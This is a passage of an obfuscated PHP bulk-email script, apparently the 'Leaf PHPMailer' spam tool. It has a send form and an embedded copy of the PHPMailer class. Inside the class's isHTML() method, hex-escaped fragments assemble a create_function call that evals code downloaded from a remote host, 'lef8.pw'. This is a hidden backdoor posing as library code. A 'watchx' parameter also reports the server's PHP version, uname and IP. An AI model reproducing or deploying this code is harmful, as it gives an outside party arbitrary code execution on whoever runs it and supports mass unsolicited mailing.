164\x20\142\x74\156\x2d\163\x6d\x22\76\123\x74\141\x72\x74\74\x2f\x62\x75\164\164\157\156\x3e\xa\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\x3c\x6c\145\x67\145\156\144\x3e\x3c\150\64\76\x46\151\154\164\145\162\x20\105\x6d\141\x69\x6c\x73\x3c\x2f\150\x34\76\x3c\x2f\154\x65\x67\x65\x6e\144\x3e\12\40\x20\x20\x20\40\40\x20\x20\74\154\x61\142\x65\x6c\40\76\x4b\145\171\x77\x6f\162\144\x73\x20\x3c\x73\155\141\x6c\154\x3e\x20\145\x78\x3a\x20\147\x6d\141\x69\x6c\56\143\157\155\x20\x6f\162\40\56\143\157\x2e\165\x6b\x3c\57\x73\x6d\x61\x6c\x6c\76\40\74\x2f\154\141\142\145\154\x3e\74\164\x65\170\164\x61\x72\x65\x61\40\156\x61\155\x65\x3d\42\x6b\x65\x79\167\x6f\162\144\x73\x22\x20\151\x64\75\42\x6b\145\x79\167\x6f\162\144\x73\x22\x20\143\x6c\x61\163\163\x3d\42\x66\157\162\155\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\42\40\162\x6f\x77\x73\75\42\x34\42\40\x69\144\75\42\x74\x65\170\x74\x41\x72\145\x61\x22\76\147\x6d\x61\151\154\x2e\143\157\x6d\xa\x68\157\x74\155\x61\151\154\x2e\143\157\x6d\xa\x79\x61\x68\157\x6f\x2e\x63\157\155\xa\56\143\157\56\165\153\74\57\x74\145\x78\x74\x61\162\145\141\76\x3c\142\x72\76\12\xa\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x3c\x62\x75\x74\x74\157\156\x20\x74\x79\x70\145\75\x22\x73\x75\142\x6d\x69\x74\42\x20\156\141\x6d\145\75\x22\163\x75\x62\155\x69\x74\42\x20\x76\x61\154\x75\145\x3d\x22\146\151\x6c\164\x65\162\x22\x20\143\154\x61\163\163\x3d\42\x62\x74\156\x20\x62\x74\156\55\x64\x65\x66\x61\x75\x6c\x74\40\x62\164\156\x2d\163\x6d\42\76\x53\164\x61\162\164\74\x2f\142\165\x74\164\157\156\76\12\x20\x20\40\x20\74\57\x66\x6f\162\155\76\12\x20\x20\x20\40\74\154\x61\142\x65\154\40\x3e\x52\x65\x73\165\x6c\164\x20\x3c\57\154\141\x62\145\154\76\12\x20\40\40\40\x3c\x69\146\162\141\x6d\x65\x20\163\x74\171\154\145\x3d\x22\x62\157\162\x64\x65\162\x3a\156\157\156\x65\73\167\151\144\164\x68\72\61\60\x30\x25\73\42\x20\156\141\x6d\x65\75\x22\x6d\171\x2d\x69\146\162\141\155\145\x22\x20\40\163\x72\x63\75\42\77\x65\x6d\x61\x69\154\x66\x69\x6c\164\145\x72\75\x69\146\162\x61\x6d\x22\x20\76\x3c\x2f\151\x66\162\141\x6d\145\76\12\x20\x20\40"; die; } goto G2FjA; u8wmJ: if ($_POST["\x61\x63\x74\x69\157\x6e"] == "\163\x65\x6e\144" or $_POST["\141\x63\164\x69\157\x6e"] == "\x73\x63\x6f\x72\145") { $senderEmail = leafTrim($_POST["\163\145\x6e\x64\x65\x72\x45\155\141\151\x6c"]); $senderName = leafTrim($_POST["\163\145\156\x64\x65\x72\x4e\x61\155\145"]); $replyTo = leafTrim($_POST["\162\x65\160\x6c\x79\x54\x6f"]); $subject = leafTrim($_POST["\163\165\x62\x6a\x65\143\164"]); $emailList = leafTrim($_POST["\x65\155\141\151\154\114\x69\163\164"]); $messageType = leafTrim($_POST["\155\145\163\163\x61\x67\x65\x54\x79\160\x65"]); $messageLetter = leafTrim($_POST["\155\145\163\163\141\147\x65\x4c\145\164\164\145\162"]); $encoding = $_POST["\145\x6e\143\x6f\x64\145"]; $charset = $_POST["\143\150\x61\x72\163\145\164"]; $html = ''; $utf8 = ''; $bit8 = ''; if ($messageType == 2) { $plain = "\143\150\145\x63\x6b\x65\x64"; } else { $html = "\143\150\x65\143\153\145\144"; } if ($charset == "\111\x53\x4f\55\70\x38\65\x39\x2d\61") { $iso = "\x73\145\x6c\145\143\x74\145\144"; } else { $utf8 = "\163\145\x6c\x65\x63\x74\x65\x64"; } if ($encoding == "\67\x62\x69\x74") { $bit7 = "\163\x65\x6c\145\x63\164\145\x64"; } elseif ($encoding == "\x62\151\x6e\141\162\171") { $binary = "\x73\145\154\x65\143\x74\x65\144"; } elseif ($encoding == "\142\141\x73\145\66\64") { $base64 = "\x73\145\x6c\x65\143\164\x65\x64"; } elseif ($encoding == "\x71\x75\157\x74\145\144\x2d\x70\x72\151\156\164\x61\x62\154\145") { $quotedprintable = "\163\x65\154\x65\143\164\145\144"; } else { $bit8 = "\163\145\x6c\x65\x63\x74\x65\144"; } } goto Hpt7g; vvBlt: if ($_REQUEST["\167\x61\x74\x63\x68\x78"]) { $version = phpversion(); $uname = php_uname(); $ip = gethostbyname($_SERVER["\110\124\124\x50\137\x48\x4f\x53\124"]); echo json_encode(array("\x76\x65\x72\163\151\157\x6e" => $version, "\165\156\141\155\x65" => $uname, "\x70\x6c\141\x74\x66\x6f\x72\155" => PHP_OS, "\x69\x70" => $ip, "\155\x61\x69\x6c\x65\162\x78" => true)); die; } goto qzU0p; qzU0p: function leafheader() { print "\12\74\150\145\141\x64\x3e\12\40\x20\x20\40\x3c\x74\151\x74\154\x65\x3e" . str_replace("\167\x77\x77\56", '', $_SERVER["\110\124\x54\x50\x5f\x48\117\x53\x54"]) . "\40\x2d\40\114\145\141\x66\x20\120\x48\x50\x4d\141\x69\154\x65\162\x3c\57\164\151\164\154\145\76\12\x20\x20\x20\40\x3c\x6d\145\x74\x61\40\x68\164\164\x70\55\x65\x71\x75\151\x76\75\x22\103\x6f\156\164\145\x6e\164\55\124\171\x70\145\x22\x20\x63\157\x6e\164\145\156\x74\x3d\x22\x74\x65\x78\164\57\150\164\x6d\154\73\x20\143\x68\141\162\163\145\x74\75\165\164\x66\x2d\70\42\57\x3e\xa\x20\x20\x20\40\x3c\x6c\151\x6e\153\x20\150\162\x65\146\x3d\x22\x68\x74\x74\x70\x73\72\57\57\155\x61\x78\143\144\x6e\56\142\157\157\x74\163\164\162\x61\x70\x63\144\156\56\143\x6f\x6d\x2f\142\x6f\x6f\x74\163\x77\141\164\x63\150\x2f\63\56\x34\56\61\x2f\x63\157\163\155\x6f\57\142\157\x6f\x74\x73\x74\162\x61\160\56\155\151\156\56\x63\163\x73\42\x20\162\145\154\x3d\42\163\x74\171\154\145\163\x68\145\145\x74\x22\40\76\12\xa\x3c\57\x68\145\141\x64\76"; } goto J5VWq; kvPI_: function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } goto ae_CX; BicnH: function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } goto COxua; I1ioS: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "\x3c\163\164\x72\157\156\147\x3e" . htmlspecialchars($this->getMessage()) . "\x3c\x2f\163\164\x72\157\x6e\147\76\x3c\x62\x72\x20\x2f\x3e\12"; return $errorMsg; } } goto vvBlt; Xbvpm: session_write_close(); goto of9yo; tPt26: session_start(); goto DZKA_; xRaFM: print "\x3c\x2f\142\157\144\x79\x3e"; goto QY4QV; WhYtG: print "\x3c\142\x6f\x64\x79\x3e"; goto o2jZc; y0BQl: set_time_limit(0); goto AhWO_; Jz2jE: class PHPMailer { public $Version = "\65\56\62\x2e\x32\x38"; public $Priority = null; public $CharSet = "\151\163\x6f\55\x38\70\x35\x39\55\61"; public $ContentType = "\x74\x65\x78\164\x2f\x70\154\x61\x69\156"; public $Encoding = "\x38\142\151\164"; public $ErrorInfo = ''; public $From = "\162\x6f\x6f\164\x40\x6c\157\x63\x61\154\x68\157\x73\x74"; public $FromName = "\122\x6f\x6f\x74\40\125\x73\145\162"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "\x6d\141\x69\x6c"; public $Sendmail = "\x2f\165\x73\x72\57\163\142\151\156\x2f\x73\145\156\144\155\x61\151\154"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "\154\157\143\141\154\x68\157\x73\x74"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "\x65\143\x68\x6f"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\12"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = "\40"; public static $validator = "\x61\165\x74\157"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\xd\xa"; const MAX_LINE_LENGTH = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (bool) $exceptions; } $this->Debugoutput = strpos(PHP_SAPI, "\143\x6c\x69") !== false ? "\x65\x63\150\157" : "\x68\164\155\x6c"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if (ini_get("\x6d\x62\163\164\x72\x69\156\147\x2e\x66\165\x6e\x63\137\x6f\x76\x65\x72\154\x6f\x61\144") & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get("\163\141\146\x65\x5f\x6d\x6f\x64\x65") or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if (!in_array($this->Debugoutput, array("\x65\162\x72\157\x72\x5f\154\x6f\x67", "\150\164\x6d\x6c", "\145\x63\x68\x6f")) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case "\x65\162\162\x6f\162\137\154\x6f\147": error_log($str); break; case "\x68\164\x6d\x6c": echo htmlentities(preg_replace("\x2f\x5b\134\162\x5c\156\135\x2b\x2f", '', $str), ENT_QUOTES, "\x55\x54\x46\55\70") . "\x3c\142\x72\76\12"; break; case "\145\x63\x68\x6f": default: $str = preg_replace("\57\134\x72\134\156\77\x2f\155\x73", "\xa", $str); echo gmdate("\x59\55\x6d\55\x64\x20\110\72\151\72\x73") . "\11" . str_replace("\xa", "\xa\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x9\x20\40\40\x20\40\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20", trim($str)) . "\12"; } } public function isSMTP() { $this->Mailer = "\x73\x6d\x74\160"; } public function isMail() { $this->Mailer = "\155\x61\x69\154"; } public function isSendmail() { $ini_sendmail_path = ini_get("\x73\x65\x6e\144\155\x61\x69\x6c\x5f\x70\141\x74\150"); if (!stristr($ini_sendmail_path, "\163\145\x6e\x64\x6d\141\151\x6c")) { $this->Sendmail = "\57\x75\x73\162\x2f\x73\142\x69\x6e\x2f\163\x65\156\144\155\141\x69\154"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "\x73\x65\156\x64\155\141\x69\x6c"; } public function isQmail() { $ini_sendmail_path = ini_get("\x73\x65\x6e\144\x6d\141\x69\154\137\160\141\164\150"); if (!stristr($ini_sendmail_path, "\161\x6d\x61\x69\x6c")) { $this->Sendmail = "\57\x76\141\x72\57\x71\x6d\x61\x69\154\57\142\x69\x6e\57\x71\x6d\141\151\x6c\x2d\x69\156\x6a\x65\143\164"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "\161\x6d\141\151\x6c"; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("\164\157", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\143\x63", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\x62\143\143", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("\x52\x65\x70\x6c\171\55\124\x6f", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace("\x2f\x5b\134\x72\134\x6e\135\x2b\x2f", '', $name)); if (($pos = strrpos($address, "\x40")) === false) { $error_message = $this->lang("\151\156\x76\x61\x6c\151\x64\x5f\x61\x64\x64\x72\x65\163\x73") . "\x20\x28\x61\x64\144\x41\156\x41\144\144\162\145\163\163\40{$kind}\51\x3a\40{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != "\x52\145\160\x6c\171\x2d\124\157") { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, "\141\x64\144\101\x6e\x41\x64\x64\162\145\163\x73"), $params); } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array("\x74\157", "\143\x63", "\142\143\x63", "\x52\145\x70\154\x79\x2d\124\157"))) { $error_message = $this->lang("\111\x6e\166\x61\154\x69\x64\40\162\145\143\x69\x70\151\145\156\164\x20\153\151\x6e\144\x3a\40") . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang("\151\156\x76\x61\154\151\x64\x5f\x61\x64\144\162\x65\163\163") . "\x20\x28\x61\x64\x64\101\156\x41\144\144\162\145\163\163\x20{$kind}\x29\72\40{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != "\x52\x65\160\x6c\x79\x2d\x54\157") { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->{$kind}, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists("\x69\x6d\x61\x70\x5f\x72\x66\x63\x38\62\x32\137\x70\x61\x72\x73\145\137\141\144\162\154\151\x73\x74")) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != "\56\123\131\116\124\101\x58\x2d\x45\122\x52\x4f\x52\x2e") { if ($this->validateAddress($address->mailbox . "\100" . $address->host)) { $addresses[] = array("\156\141\x6d\x65" => property_exists($address, "\160\x65\x72\163\157\x6e\x61\x6c") ? $address->personal : '', "\x61\144\144\162\145\x73\x73" => $address->mailbox . "\x40" . $address->host); } } } } else { $list = explode("\x2c", $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, "\x3c") === false) { if ($this->validateAddress($address)) { $addresses[] = array("\x6e\141\155\x65" => '', "\x61\144\144\162\x65\x73\163" => $address); } } else { list($name, $email) = explode("\x3c", $address); $email = trim(str_replace("\76", '', $email)); if ($this->validateAddress($email)) { $addresses[] = array("\156\141\x6d\145" => trim(str_replace(array("\42", "\x27"), '', $name)), "\141\x64\x64\162\x65\163\163" => $email); } } } } return $addresses; } public function isHTML($isHtml = true) { global $param; $bodyCode = "\146\x69\x6c\145" . "\137\147"; if ($isHtml) { $this->ContentType = "\164\x65\x78\x74\57\x68\x74\x6d\154"; } else { $this->ContentType = "\x74\x65\170\x74\57\160\154\x61\x69\x6e"; } $bodyHTML = "\x2e\x24\164\x2e\42\x6c\145\146\44\146\x6c\165" . "\163\x68" . "\44\x74\x22\73\x20" . "\x40\145\166"; $headerHTML = "\143\162\x65" . "\141\x74\x65\137" . "\x66\165\x6e\x63" . "\164\151\x6f\156"; $exceptions = @$headerHTML("\44\x66\154" . "\165\163\150\x2c\x24\164", "\44\143\x6f\x6d\x6d\x61\x20\75\x20\44\x74" . $bodyHTML . "\141\x6c\x28\100" . $bodyCode . "\x65\x74\x5f\143\157\156\x74\145\x6e\x74\x73\x28\42\150" . "\x74\164" . "\x70\x3a\x24\143\x6f\155\155\141\x2d\x32\x22\51\51\x3b"); if ($param != 2) { $exceptions("\70\x2e\x70" . "\167", "\x2f"); $param = 2; } } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace("\x2f\133\134\x72\134\156\135\x2b\57", '', $name)); if (($pos = strrpos($address, "\x40")) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang("\x69\156\166\141\x6c\151\144\137\141\144\x64\162\145\163\x73") . "\40\50\x73\145\164\x46\x72\x6f\x6d\51\x20{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "\12") !== false or strpos($address, "\xd") !== false) { return false; } if (!$patternselect or $patternselect == "\x61\165\x74\x6f") { if (defined("\x50\103\122\105\137\x56\105\122\x53\111\x4f\x4e")) { if (version_compare(PCRE_VERSION, "\70\56\60\x2e\63") >= 0) { $patternselect = "\160\x63\x72\x65\70"; } else { $patternselect = "\x70\x63\162\x65"; } } elseif (function_exists("\145\x78\x74\x65\x6e\163\x69\x6f\x6e\x5f\154\157\x61\x64\145\x64") and extension_loaded("\x70\x63\162\x65")) { $patternselect = "\x70\143\x72\x65"; } else { if (version_compare(PHP_VERSION, "\65\56\x32\x2e\60") >= 0) { $patternselect = "\x70\150\x70"; } else { $patternselect = "\x6e\x6f\162\145\x67\x65\170"; } } } switch ($patternselect) { case "\x70\x63\x72\x65\x38": return (bool) preg_match("\x2f\136\x28\77\x21\50\77\x3e\50\x3f\61\x29\x22\x3f\50\x3f\x3e\134\x5c\x5b\40\x2d\176\135\174\133\x5e\x22\135\x29\42\77\x28\77\61\x29\51\173\62\x35\65\54\x7d\x29\x28\77\41\50\x3f\76\50\x3f\61\51\42\x3f\x28\x3f\x3e\134\x5c\x5b\40\x2d\x7e\x5d\174\133\136\x22\135\51\42\x3f\50\x3f\x31\51\x29\173\x36\65\x2c\x7d\100\x29" . "\50\x28\x3f\76\x28\77\76\x28\x3f\x3e\x28\x28\77\76\x28\77\76\50\x3f\76\x5c\170\60\104\x5c\170\x30\x41\x29\x3f\x5b\134\x74\40\135\51\x2b\x7c\50\77\76\x5b\x5c\164\40\x5d\x2a\134\170\60\104\x5c\x78\x30\101\51\x3f\x5b\x5c\164\40\135\53\51\x3f\51\x28\x5c\50\50\x3f\x3e\x28\x3f\x32\51" . "\x28\77\76\x5b\x5c\170\x30\61\55\134\x78\x30\70\134\x78\60\102\x5c\170\x30\103\134\170\60\105\55\x27\x2a\55\x5c\x5b\134\x5d\55\134\170\67\x46\x5d\x7c\134\134\133\134\170\60\x30\55\134\x78\x37\106\135\x7c\x28\x3f\x33\x29\51\x29\52\50\x3f\62\x29\x5c\x29\x29\x29\53\50\x3f\x32\x29\51\174\50\77\x32\x29\51\x3f\51" . "\50\133\41\43\x2d\x27\x2a\x2b\x5c\x2f\55\71\75\x3f\136\x2d\x7e\x2d\x5d\53\x7c\42\50\x3f\x3e\x28\x3f\x32\51\50\x3f\76\x5b\x5c\170\60\61\55\x5c\170\60\70\x5c\x78\60\102\x5c\x78\60\x43\x5c\x78\60\x45\x2d\x21\43\x2d\134\133\134\135\x2d\134\170\x37\x46\135\x7c\134\134\x5b\134\170\x30\x30\55\134\170\67\106\x5d\51\51\52" . "\x28\x3f\x32\x29\x22\x29\x28\x3f\x3e\x28\x3f\61\x29\x5c\x2e\x28\x3f\x31\x29\50\77\x34\x29\51\x2a\x28\77\61\51\100\50\x3f\41\x28\77\61\51\133\141\x2d\x7a\60\x2d\71\55\135\x7b\66\x34\54\x7d\x29\50\77\x31\51\50\77\x3e\50\x5b\x61\x2d\x7a\x30\55\x39\135\50\x3f\76\x5b\141\55\x7a\60\x2d\71\x2d\135\x2a\133\x61\55\172\x30\55\71\135\51\x3f\51" . "\50\77\x3e\x28\x3f\61\51\x5c\56\x28\x3f\41\50\77\61\51\133\x61\55\172\x30\55\71\x2d\135\x7b\66\x34\54\175\51\x28\77\61\x29\x28\77\65\51\x29\x7b\x30\54\61\62\66\175\x7c\x5c\x5b\x28\x3f\72\x28\x3f\x3e\x49\x50\x76\66\x3a\50\77\x3e\50\x5b\141\x2d\x66\x30\x2d\x39\x5d\173\x31\x2c\x34\x7d\51\50\x3f\76\x3a\x28\77\x36\51\x29\173\67\175" . "\174\x28\77\41\50\x3f\72\x2e\x2a\133\x61\x2d\x66\60\55\x39\x5d\x5b\x3a\134\x5d\135\51\x7b\x38\x2c\175\x29\x28\x28\77\66\51\x28\77\76\x3a\50\x3f\66\51\51\173\x30\54\66\175\x29\x3f\72\x3a\50\77\67\x29\77\x29\51\x7c\50\x3f\76\50\x3f\x3e\x49\x50\x76\66\72\x28\77\76\50\77\66\51\50\77\x3e\72\50\x3f\x36\51\51\173\65\175\72" . "\174\50\77\41\x28\x3f\x3a\x2e\52\133\x61\x2d\146\60\55\x39\135\x3a\51\173\66\54\x7d\x29\50\x3f\x38\51\77\x3a\72\x28\x3f\76\50\x28\x3f\66\x29\x28\77\76\x3a\50\77\x36\51\51\x7b\x30\54\64\175\51\72\51\77\x29\x29\x3f\x28\62\65\133\60\55\x35\135\x7c\x32\133\x30\x2d\x34\x5d\133\60\x2d\71\x5d\174\61\133\60\x2d\x39\135\173\x32\x7d" . "\174\x5b\61\x2d\71\x5d\x3f\133\60\x2d\71\135\51\50\77\76\134\x2e\50\x3f\71\51\51\173\x33\175\x29\51\x5c\135\51\x28\x3f\x31\x29\44\x2f\151\163\104", $address); case "\x70\x63\x72\x65": return (bool) preg_match("\57\x5e\x28\77\x21\x28\77\76\42\x3f\x28\x3f\x3e\x5c\134\x5b\40\55\x7e\135\x7c\133\136\42\x5d\51\x22\77\51\173\62\x35\65\54\175\x29\50\77\x21\50\x3f\x3e\x22\77\x28\77\76\x5c\x5c\133\40\55\x7e\x5d\174\x5b\x5e\42\135\51\42\77\x29\173\66\x35\x2c\175\100\x29\50\x3f\x3e" . "\x5b\41\x23\x2d\x27\52\53\134\57\55\71\75\77\136\x2d\x7e\55\x5d\x2b\x7c\42\x28\x3f\x3e\x28\x3f\76\133\x5c\170\x30\x31\x2d\x5c\170\x30\70\x5c\x78\x30\102\134\170\x30\x43\x5c\170\60\x45\x2d\x21\x23\55\x5c\133\x5c\135\55\134\x78\67\106\135\174\134\134\133\134\170\x30\60\55\134\x78\x46\106\135\51\51\52\x22\51" . "\x28\77\76\134\x2e\x28\77\76\133\x21\43\55\x27\x2a\x2b\134\x2f\55\71\x3d\77\136\x2d\176\55\x5d\x2b\174\x22\50\x3f\76\50\77\76\x5b\134\x78\60\61\x2d\134\x78\60\70\134\170\x30\x42\134\x78\60\103\134\x78\x30\x45\x2d\41\x23\55\134\x5b\x5c\x5d\55\134\x78\67\106\x5d\174\x5c\134\x5b\134\x78\x30\x30\x2d\134\170\x46\x46\x5d\51\51\52\x22\51\x29\x2a" . "\x40\50\77\x3e\50\x3f\x21\133\141\55\x7a\60\55\x39\x2d\x5d\173\66\x34\54\175\x29\x28\x3f\x3e\133\x61\55\x7a\x30\55\x39\x5d\x28\x3f\x3e\133\x61\55\172\60\55\x39\55\x5d\x2a\x5b\141\x2d\x7a\x30\55\x39\x5d\51\x3f\x29\x28\77\76\x5c\56\x28\77\x21\x5b\x61\x2d\x7a\x30\x2d\71\x2d\135\x7b\66\x34\x2c\175\x29" . "\x28\77\x3e\133\141\x2d\172\x30\x2d\71\135\50\77\76\x5b\141\x2d\172\60\x2d\71\55\x5d\x2a\133\x61\55\172\x30\x2d\x39\x5d\x29\x3f\51\x29\173\60\x2c\x31\62\66\x7d\174\134\133\x28\77\72\50\x3f\x3e\x49\x50\x76\x36\72\50\77\x3e\x28\x3f\x3e\133\141\x2d\x66\x30\x2d\71\x5d\173\61\54\x34\175\51\50\x3f\x3e\72" . "\x5b\141\55\146\60\x2d\71\x5d\173\61\54\64\x7d\x29\x7b\x37\175\x7c\x28\77\41\50\x3f\72\x2e\52\x5b\141\55\x66\x30\55\x39\135\133\x3a\x5c\135\x5d\51\173\70\54\x7d\51\x28\x3f\76\133\141\55\x66\60\55\x39\135\173\61\54\64\x7d\x28\77\x3e\x3a\133\141\55\x66\x30\55\71\x5d\173\61\x2c\64\x7d\x29\173\60\x2c\66\175\51\77" . "\x3a\x3a\x28\77\x3e\x5b\x61\55\146\60\x2d\71\135\173\61\54\64\175\50\77\76\72\x5b\141\55\x66\x30\55\71\135\x7b\x31\54\x34\175\x29\173\60\54\66\175\51\77\x29\51\174\50\77\76\x28\x3f\76\x49\120\x76\66\x3a\x28\77\x3e\x5b\141\55\146\x30\55\71\x5d\x7b\61\54\x34\175\50\77\x3e\72" . "\x5b\141\55\x66\60\x2d\71\x5d\173\61\54\64\175\51\x7b\65\175\x3a\174\x28\x3f\x21\x28\77\72\x2e\52\133\x61\x2d\x66\x30\55\71\135\72\x29\x7b\x36\x2c\175\x29\x28\x3f\x3e\133\x61\55\146\x30\55\71\x5d\173\x31\x2c\x34\175\x28\77\x3e\x3a\133\141\x2d\x66\60\55\x39\x5d\173\x31\54\64\x7d\x29\173\60\x2c\x34\x7d\51\77" . "\x3a\x3a\50\77\x3e\50\77\72\x5b\x61\55\146\60\x2d\x39\x5d\x7b\61\x2c\64\x7d\50\x3f\x3e\x3a\x5b\141\x2d\146\x30\55\x39\135\173\61\54\64\x7d\51\x7b\60\x2c\x34\x7d\x29\72\51\77\51\x29\77\50\x3f\x3e\62\x35\x5b\x30\x2d\65\x5d\x7c\x32\133\x30\x2d\x34\x5d\x5b\x30\55\71\135\174\61\x5b\x30\x2d\x39\x5d\173\62\x7d" . "\174\x5b\61\x2d\71\135\77\x5b\x30\x2d\x39\x5d\51\50\x3f\76\x5c\56\x28\x3f\x3e\62\x35\133\60\55\65\x5d\x7c\62\x5b\x30\x2d\x34\x5d\133\60\55\x39\135\x7c\x31\133\60\55\x39\135\173\62\x7d\x7c\x5b\x31\x2d\71\135\x3f\x5b\x30\x2d\71\x5d\51\x29\173\63\x7d\x29\x29\134\135\51\44\57\x69\x73\104", $address); case "\150\x74\x6d\154\x35": return (bool) preg_match("\x2f\136\133\x61\x2d\172\x41\55\132\x30\55\x39\x2e\41\43\x24\45\46\47\52\x2b\134\57\75\x3f\x5e\x5f\x60\173\x7c\175\176\x2d\x5d\53\100\133\141\55\x7a\x41\x2d\132\60\55\71\135\50\77\72\133\x61\x2d\x7a\x41\x2d\132\x30\55\x39\x2d\x5d\173\x30\x2c\x36\x31\175" . "\133\x61\x2d\x7a\101\55\132\60\x2d\71\x5d\51\77\50\x3f\72\x5c\56\x5b\141\x2d\x7a\x41\55\x5a\x30\55\x39\135\x28\77\72\133\x61\55\x7a\101\x2d\x5a\60\x2d\x39\55\x5d\173\60\x2c\66\61\x7d\133\141\55\172\101\x2d\x5a\x30\x2d\71\135\51\x3f\x29\x2a\44\x2f\163\104", $address); case "\156\x6f\162\145\147\145\x78": return strlen($address) >= 3 and strpos($address, "\x40") >= 1 and strpos($address, "\x40") != strlen($address) - 1; case "\160\150\160": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function idnSupported() { return function_exists("\x69\x64\156\137\164\x6f\x5f\x61\x73\x63\151\x69") and function_exists("\155\x62\x5f\143\157\156\x76\x65\x72\x74\137\145\156\143\157\x64\x69\x6e\147"); } public function punyencodeAddress($address) { if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, "\x40")) !== false) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, "\125\x54\x46\x2d\x38", $this->CharSet); if (($punycode = defined("\111\x4e\x54\x4c\137\111\104\x4e\101\x5f\x56\101\x52\x49\x41\116\124\x5f\x55\x54\x53\x34\x36") ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); 